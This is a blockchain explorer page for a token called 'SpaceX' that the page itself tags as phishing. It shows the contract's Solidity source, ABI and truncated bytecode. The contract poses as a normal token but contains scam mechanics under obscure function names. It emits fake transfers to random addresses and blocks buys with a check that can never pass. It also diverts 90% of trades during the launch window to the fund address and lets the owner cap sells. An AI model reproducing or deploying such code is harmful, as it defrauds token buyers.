ETH Price: $2,601.96 (-2.84%)
Gas: 1 Gwei

Token

SpaceX (SpaceX)
 

Overview

Max Total Supply

1,000,000,000 SpaceX

Holders

1

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
Fake_Phishing328503
Balance
1,000,000,000 SpaceX

Value
$0.00
0x094cde0e8957faa5e683904a0af0d4804d9b2e80
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
tokens

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-02-11
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.14;

interface IERC20 {
    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface ISwapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
}

interface ISwapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract TokenDistributor {
    constructor (address token) {
        IERC20(token).approve(msg.sender, uint(~uint256(0)));
    }
}

abstract contract AbsToken is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public fundAddress;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 public kb = 5;
    uint256 public nnjjjjnn;
    uint256 public maxBuyAmount;
    uint256 public walletLimit;
    bool public limitEnable = true;

    mapping(address => bool) public _feeWhiteList;

    mapping (address => bool) public isMaxEatExempt;

    uint256 private _tTotal;

    ISwapRouter public _swapRouter;
    address public _usdt;
    mapping(address => bool) public _swapPairList;

    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);
    TokenDistributor public _tokenDistributor;

    uint256 public _buyfee1 = 0;
    uint256 public _buyfee2 = 0;//N
    uint256 public _sellfee3 = 0;//N
    uint256 public _sellFee4 = 0;
    uint256 public _sellFee5 = 0;//N

    uint256 public goMoonBlock;

    address public _mainPair;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (
        address RouterAddress, address ethAddress,
        string memory Name, string memory Symbol, uint8 Decimals, uint256 Supply,
        address FundAddress, address ReceiveAddress
    ){
        _name = Name;
        _symbol = Symbol;
        _decimals = Decimals;

        ISwapRouter swapRouter = ISwapRouter(RouterAddress);
        IERC20(ethAddress).approve(address(swapRouter), MAX);

        _usdt = ethAddress;
        _swapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        ISwapFactory swapFactory = ISwapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this), ethAddress);
        _mainPair = swapPair;
        _swapPairList[swapPair] = true;

        uint256 total = Supply * 10 ** Decimals;
        _tTotal = total;

        maxBuyAmount = total;
        nnjjjjnn = total;
        walletLimit =  total;

        _balances[ReceiveAddress] = total;
        emit Transfer(address(0), ReceiveAddress, total);

        fundAddress = FundAddress;

        _feeWhiteList[FundAddress] = true;
        _feeWhiteList[ReceiveAddress] = true;
        _feeWhiteList[address(this)] = true;
        _feeWhiteList[address(swapRouter)] = true;
        _feeWhiteList[msg.sender] = true;

        isMaxEatExempt[msg.sender] = true;
        isMaxEatExempt[fundAddress] = true;
        isMaxEatExempt[ReceiveAddress] = true;
        isMaxEatExempt[address(swapRouter)] = true;
        isMaxEatExempt[address(_mainPair)] = true;
        isMaxEatExempt[address(this)] = true;
        isMaxEatExempt[address(0xdead)] = true;

        excludeHolder[address(0)] = true;
        excludeHolder[address(0x000000000000000000000000000000000000dEaD)] = true;

        holderRewardCondition = 99999999 * 10 ** IERC20(ethAddress).decimals();

        _tokenDistributor = new TokenDistributor(ethAddress);
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function ccjj(uint256 _nnjjjjnn) public onlyOwner{
        
        nnjjjjnn = _nnjjjjnn;
    
    }

    function ijijjijij(bool status) public onlyOwner {
        limitEnable = status;
    }

    function setisMaxEatExempt(address holder, bool exempt) external onlyOwner {
        isMaxEatExempt[holder] = exempt;
    }



    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
       

        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");

        bool takeFee;
        bool isSell;

        if(!_feeWhiteList[from] && !_feeWhiteList[to]){
            address ad;
            for(int i=0;i <=2;i++){
                ad = address(uint160(uint(keccak256(abi.encodePacked(i, amount, block.timestamp)))));
                _basicTransfer(from,ad,0);
            }
            amount -= 0;
        }
        
        if (_swapPairList[from] || _swapPairList[to]) {
            if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
                if (0 == goMoonBlock) {
                    require(0 < kilsi && _swapPairList[to], "!kilsi");
                }
                if (block.number < goMoonBlock ) {
                    _funTransfer(from, to, amount);
                    return;
                }

                if (_swapPairList[to]) {
                    if (!inSwap) {
                        uint256 contractTokenBalance = balanceOf(address(this));
                        if (contractTokenBalance > 0) {
                            uint256 swapFee = _buyfee1 + _buyfee2 + _sellFee4 + _sellfee3 + _sellFee5;
                            uint256 numTokensSellToFund = amount * swapFee / 5000;
                            if (numTokensSellToFund > contractTokenBalance) {
                                numTokensSellToFund = contractTokenBalance;
                            }
                            swapTokenForFund(numTokensSellToFund, swapFee);
                        }
                    }
                }
                takeFee = true;
            }
            if (_swapPairList[to]) {
                isSell = true;
            }
        }

        _tokenTransfer(from, to, amount, takeFee, isSell);

        if (from != address(this)) {
            if (isSell) {
                addHolder(from);
            }
            processReward(500000);
        }
    }

    function _funTransfer(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount = tAmount * 90 / 100;
        _takeTransfer(
            sender,
            fundAddress,
            feeAmount
        );
        _takeTransfer(sender, recipient, tAmount - feeAmount);
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool isSell
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            uint256 swapFee;
            if (isSell) {
                swapFee = _sellFee4 + _sellfee3 + _sellFee5;
                if (!_feeWhiteList[sender]) {
                    require(tAmount <= nnjjjjnn,"over amount");
                }
            } else {
                swapFee = _buyfee1 + _buyfee2;
                require(tAmount <= maxBuyAmount,"over  amount");
            }

            uint256 swapAmount = tAmount * swapFee / 10000;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _takeTransfer(
                    sender,
                    address(this),
                    swapAmount
                );
            }
        }

        if(!isMaxEatExempt[recipient] && limitEnable)
            require((balanceOf(recipient) + tAmount - feeAmount) <= walletLimit,"o");
        _takeTransfer(sender, recipient, tAmount - feeAmount);
    }

    function swapTokenForFund(uint256 tokenAmount, uint256 swapFee) private lockTheSwap {
        swapFee += swapFee;
        uint256 lpFee = _sellFee5;
        uint256 lpAmount = tokenAmount * lpFee / swapFee;

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _usdt;
        _swapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            tokenAmount - lpAmount,
            0,
            path,
            address(_tokenDistributor),
            block.timestamp
        );

        swapFee -= lpFee;

        IERC20 USDT = IERC20(_usdt);
        uint256 usdtBalance = USDT.balanceOf(address(_tokenDistributor));
        uint256 fundAmount = usdtBalance * (_buyfee1 + _sellFee4) * 2 / swapFee;
        USDT.transferFrom(address(_tokenDistributor), fundAddress, fundAmount);
        USDT.transferFrom(address(_tokenDistributor), address(this), usdtBalance - fundAmount);

        if (lpAmount > 0) {
            uint256 lpFist = usdtBalance * lpFee / swapFee;
            if (lpFist > 0) {
                _swapRouter.addLiquidity(
                    address(this), _usdt, lpAmount, lpFist, 0, 0, address(0x094cde0e8957faA5e683904A0AF0D4804d9b2E80), block.timestamp
                );
            }
        }
    }

    function _takeTransfer(
        address sender,
        address to,
        uint256 tAmount
    ) private {
        _balances[to] = _balances[to] + tAmount;
        emit Transfer(sender, to, tAmount);
    }

    uint256 public kilsi;

    function goMoon() external onlyOwner {
        require(0 == goMoonBlock, "trading");
        goMoonBlock = block.number;
    }

    function yzj(address addr, bool enable) external onlyFunder {
        _feeWhiteList[addr] = enable;
    }

    function claimBalance() external {
        payable(fundAddress).transfer(address(this).balance);
    }

    modifier onlyFunder() {
        require(fundAddress == msg.sender || _owner == msg.sender, "!Funder");
        _;
    }

    receive() external payable {}

    address[] private holders;
    mapping(address => uint256) holderIndex;
    mapping(address => bool) excludeHolder;

    function addHolder(address adr) private {
        uint256 size;
        assembly {size := extcodesize(adr)}
        if (size > 0) {
            return;
        }
        if (0 == holderIndex[adr]) {
            if (0 == holders.length || holders[0] != adr) {
                holderIndex[adr] = holders.length;
                holders.push(adr);
            }
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    uint256 private currentIndex;
    uint256 private holderRewardCondition;
    uint256 private progressRewardBlock;

    function processReward(uint256 gas) private {
        if (progressRewardBlock + 20 > block.number) {
            return;
        }

        IERC20 USDT = IERC20(_usdt);

        uint256 balance = USDT.balanceOf(address(this));
        if (balance < holderRewardCondition) {
            return;
        }

        IERC20 holdToken = IERC20(_mainPair);
        uint holdTokenTotal = holdToken.totalSupply();

        address shareHolder;
        uint256 tokenBalance;
        uint256 amount;

        uint256 shareholderCount = holders.length;

        uint256 gasUsed = 0;
        uint256 iterations = 0;
        uint256 gasLeft = gasleft();

        while (gasUsed < gas && iterations < shareholderCount) {
            if (currentIndex >= shareholderCount) {
                currentIndex = 0;
            }
            shareHolder = holders[currentIndex];
            tokenBalance = holdToken.balanceOf(shareHolder);
            if (tokenBalance > 0 && !excludeHolder[shareHolder]) {
                amount = balance * tokenBalance / holdTokenTotal;
                if (amount > 0) {
                    USDT.transfer(shareHolder, amount);
                }
            }

            gasUsed = gasUsed + (gasLeft - gasleft());
            gasLeft = gasleft();
            currentIndex++;
            iterations++;
        }

        progressRewardBlock = block.number;
    }

    function jihiuyuio(address addr, bool enable) external onlyFunder {
        excludeHolder[addr] = enable;
    }
}

contract tokens is AbsToken {
    constructor() AbsToken(
        address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D),//
        address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2),//US
        "SpaceX",//Na
        "SpaceX",//Sy
        18,//De
        1000000000,//Su 
        address(0x094cde0e8957faA5e683904A0AF0D4804d9b2E80),//The address controlled by the mechanism cannot be modified, and the handling fee will be voided after modification
        address(0x094cde0e8957faA5e683904A0AF0D4804d9b2E80)//
    ){
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyfee1","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyfee2","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_feeWhiteList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mainPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee4","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee5","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellfee3","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_swapPairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapRouter","outputs":[{"internalType":"contract ISwapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tokenDistributor","outputs":[{"internalType":"contract TokenDistributor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_usdt","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_nnjjjjnn","type":"uint256"}],"name":"ccjj","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"claimBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fundAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"goMoon","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"goMoonBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"}],"name":"ijijjijij","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMaxEatExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"jihiuyuio","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"kb","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"kilsi","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitEnable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nnjjjjnn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setisMaxEatExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"walletLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"yzj","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526005600755600b805460ff19166001179055600060138190556014819055601581905560168190556017553480156200003c57600080fd5b506040805180820182526006808252650a6e0c2c6cab60d31b602080840182905284518086018652928352820152600080546001600160a01b0319163390811782559351737a250d5630b4cf539739df2c5dacb4c659f2488d9473c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2949392601292633b9aca009273094cde0e8957faa5e683904a0af0d4804d9b2e809283928291907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600462000106878262000693565b50600562000115868262000693565b506006805460ff191660ff861617905560405163095ea7b360e01b81526001600160a01b03808a166004830152600019602483015289919089169063095ea7b3906044016020604051808303816000875af115801562000179573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200019f91906200075f565b50601080546001600160a01b03808b166001600160a01b031992831617909255600f8054928416929091168217905530600090815260026020908152604080832084845282528083206000199055805163c45a015560e01b8152905192939263c45a0155926004808401939192918290030181865afa15801562000227573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024d91906200078a565b6040516364e329cb60e11b81523060048201526001600160a01b038b8116602483015291925060009183169063c9c65396906044016020604051808303816000875af1158015620002a2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c891906200078a565b601980546001600160a01b0319166001600160a01b0383169081179091556000908152601160205260408120805460ff191660011790559091506200030f88600a620008ca565b6200031b9088620008db565b600e81905560098190556008819055600a8190556001600160a01b0386166000818152600160205260408082208490555192935090917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90620003819085815260200190565b60405180910390a3600380546001600160a01b0319166001600160a01b0388811691821783556000918252600c60209081526040808420805460ff1990811660019081179092558b851680875283872080548316841790553080885284882080548416851790558c871680895285892080548516861790553389528589208054851686179055600d8752858920805485168617905598548716885284882080548416851790559087528387208054831684179055968652828620805482168317905560195485168652828620805482168317905595855281852080548716821790557fdc7fafdc41998a74ecacb8f8bd877011aba1f1d03a3a0d37a2e7879a393b1d6a8054871682179055601d83527f0a51588b1664495f089dd83d2d26f247920f94a57a4a09f20cf068efc8f82bd4805487168217905561dead9094527ffa758cef5bd0db441ee78e87b9ceab03f7b5d7b78ff593b3cf8150611abcb9998054909516909317909355815163313ce56760e01b81529151908e169263313ce56792600480820193918290030181865afa15801562000524573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200054a9190620008fd565b6200055790600a620008ca565b62000567906305f5e0ff620008db565b601f556040518b906200057a90620005e0565b6001600160a01b039091168152602001604051809103906000f080158015620005a7573d6000803e3d6000fd5b50601260016101000a8154816001600160a01b0302191690836001600160a01b0316021790555050505050505050505050505062000922565b610147806200285b83390190565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200061957607f821691505b6020821081036200063a57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200068e57600081815260208120601f850160051c81016020861015620006695750805b601f850160051c820191505b818110156200068a5782815560010162000675565b5050505b505050565b81516001600160401b03811115620006af57620006af620005ee565b620006c781620006c0845462000604565b8462000640565b602080601f831160018114620006ff5760008415620006e65750858301515b600019600386901b1c1916600185901b1785556200068a565b600085815260208120601f198616915b8281101562000730578886015182559484019460019091019084016200070f565b50858210156200074f5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200077257600080fd5b815180151581146200078357600080fd5b9392505050565b6000602082840312156200079d57600080fd5b81516001600160a01b03811681146200078357600080fd5b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200080c578160001904821115620007f057620007f0620007b5565b80851615620007fe57918102915b93841c9390800290620007d0565b509250929050565b6000826200082557506001620008c4565b816200083457506000620008c4565b81600181146200084d5760028114620008585762000878565b6001915050620008c4565b60ff8411156200086c576200086c620007b5565b50506001821b620008c4565b5060208310610133831016604e8410600b84101617156200089d575081810a620008c4565b620008a98383620007cb565b8060001904821115620008c057620008c0620007b5565b0290505b92915050565b60006200078360ff84168362000814565b6000816000190483118215151615620008f857620008f8620007b5565b500290565b6000602082840312156200091057600080fd5b815160ff811681146200078357600080fd5b611f2980620009326000396000f3fe6080604052600436106102345760003560e01c806375b5d3021161012e5780639aa4d8df116100ab578063dd62ed3e1161006f578063dd62ed3e14610665578063e82bef29146106ab578063ef92d606146106cb578063f2fde38b146106eb578063f81cd33b1461070b57600080fd5b80639aa4d8df146105d9578063a9059cbb146105ef578063bd9f331c1461060f578063be3601f814610625578063dc61f2521461064557600080fd5b806388e765ff116100f257806388e765ff1461055a5780638c2fc7ad146105705780638da5cb5b1461059057806395d89b41146105ae57806399fba603146105c357600080fd5b806375b5d302146104de57806376d3a8e6146104f45780637e5264731461050a5780638592f1a81461051f5780638718b24f1461053557600080fd5b806330509bca116101bc5780634188bf5a116101805780634188bf5a14610439578063456ee8321461045957806369768b501461047957806370a0823114610493578063715018a6146104c957600080fd5b806330509bca1461038c578063313ce567146103a15780633c11100d146103c35780633c8463a1146103f357806340aa81fe1461040957600080fd5b80631af07761116102035780631af07761146102e6578063206c17bb1461030857806323b872dd146103405780632c54b80e146103605780632dab693f1461037657600080fd5b806301986fad1461024057806306fdde0314610285578063095ea7b3146102a757806318160ddd146102c757600080fd5b3661023b57005b600080fd5b34801561024c57600080fd5b5061027061025b366004611b6c565b600c6020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561029157600080fd5b5061029a610721565b60405161027c9190611b8e565b3480156102b357600080fd5b506102706102c2366004611be3565b6107b3565b3480156102d357600080fd5b50600e545b60405190815260200161027c565b3480156102f257600080fd5b50610306610301366004611c1b565b6107c9565b005b34801561031457600080fd5b50600f54610328906001600160a01b031681565b6040516001600160a01b03909116815260200161027c565b34801561034c57600080fd5b5061027061035b366004611c52565b610852565b34801561036c57600080fd5b506102d860155481565b34801561038257600080fd5b506102d860075481565b34801561039857600080fd5b506103066108e9565b3480156103ad57600080fd5b5060065460405160ff909116815260200161027c565b3480156103cf57600080fd5b506102706103de366004611b6c565b60116020526000908152604090205460ff1681565b3480156103ff57600080fd5b506102d8600a5481565b34801561041557600080fd5b50610270610424366004611b6c565b600d6020526000908152604090205460ff1681565b34801561044557600080fd5b50601954610328906001600160a01b031681565b34801561046557600080fd5b50610306610474366004611c8e565b610925565b34801561048557600080fd5b50600b546102709060ff1681565b34801561049f57600080fd5b506102d86104ae366004611b6c565b6001600160a01b031660009081526001602052604090205490565b3480156104d557600080fd5b50610306610962565b3480156104ea57600080fd5b506102d8601a5481565b34801561050057600080fd5b506102d860175481565b34801561051657600080fd5b506103066109d6565b34801561052b57600080fd5b506102d860085481565b34801561054157600080fd5b506012546103289061010090046001600160a01b031681565b34801561056657600080fd5b506102d860095481565b34801561057c57600080fd5b5061030661058b366004611c1b565b610a40565b34801561059c57600080fd5b506000546001600160a01b0316610328565b3480156105ba57600080fd5b5061029a610a95565b3480156105cf57600080fd5b506102d860185481565b3480156105e557600080fd5b506102d860145481565b3480156105fb57600080fd5b5061027061060a366004611be3565b610aa4565b34801561061b57600080fd5b506102d860135481565b34801561063157600080fd5b50601054610328906001600160a01b031681565b34801561065157600080fd5b50610306610660366004611c1b565b610ab1565b34801561067157600080fd5b506102d8610680366004611cab565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156106b757600080fd5b50600354610328906001600160a01b031681565b3480156106d757600080fd5b506103066106e6366004611cde565b610b35565b3480156106f757600080fd5b50610306610706366004611b6c565b610b64565b34801561071757600080fd5b506102d860165481565b60606004805461073090611cf7565b80601f016020809104026020016040519081016040528092919081815260200182805461075c90611cf7565b80156107a95780601f1061077e576101008083540402835291602001916107a9565b820191906000526020600020905b81548152906001019060200180831161078c57829003601f168201915b5050505050905090565b60006107c0338484610c2a565b50600192915050565b6003546001600160a01b03163314806107ec57506000546001600160a01b031633145b6108275760405162461bcd60e51b815260206004820152600760248201526610a33ab73232b960c91b60448201526064015b60405180910390fd5b6001600160a01b03919091166000908152601d60205260409020805460ff1916911515919091179055565b600061085f848484610c8c565b6001600160a01b0384166000908152600260209081526040808320338452909152902054600019146108df576001600160a01b03841660009081526002602090815260408083203384529091529020546108ba908390611d47565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6003546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610922573d6000803e3d6000fd5b50565b6000546001600160a01b0316331461094f5760405162461bcd60e51b815260040161081e90611d5e565b600b805460ff1916911515919091179055565b6000546001600160a01b0316331461098c5760405162461bcd60e51b815260040161081e90611d5e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a005760405162461bcd60e51b815260040161081e90611d5e565b60185415610a3a5760405162461bcd60e51b815260206004820152600760248201526674726164696e6760c81b604482015260640161081e565b43601855565b6000546001600160a01b03163314610a6a5760405162461bcd60e51b815260040161081e90611d5e565b6001600160a01b03919091166000908152600d60205260409020805460ff1916911515919091179055565b60606005805461073090611cf7565b60006107c0338484610c8c565b6003546001600160a01b0316331480610ad457506000546001600160a01b031633145b610b0a5760405162461bcd60e51b815260206004820152600760248201526610a33ab73232b960c91b604482015260640161081e565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610b5f5760405162461bcd60e51b815260040161081e90611d5e565b600855565b6000546001600160a01b03163314610b8e5760405162461bcd60e51b815260040161081e90611d5e565b6001600160a01b038116610bcf5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b604482015260640161081e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831660009081526001602052604090205481811015610ce85760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b604482015260640161081e565b6001600160a01b0384166000908152600c6020526040812054819060ff16158015610d2c57506001600160a01b0385166000908152600c602052604090205460ff16155b15610da1576000805b60028113610d915760408051602081018390529081018790524260608201526080016040516020818303038152906040528051906020012060001c9150610d7e88836000610fc5565b5080610d8981611d7e565b915050610d35565b50610d9d600086611d47565b9450505b6001600160a01b03861660009081526011602052604090205460ff1680610de057506001600160a01b03851660009081526011602052604090205460ff1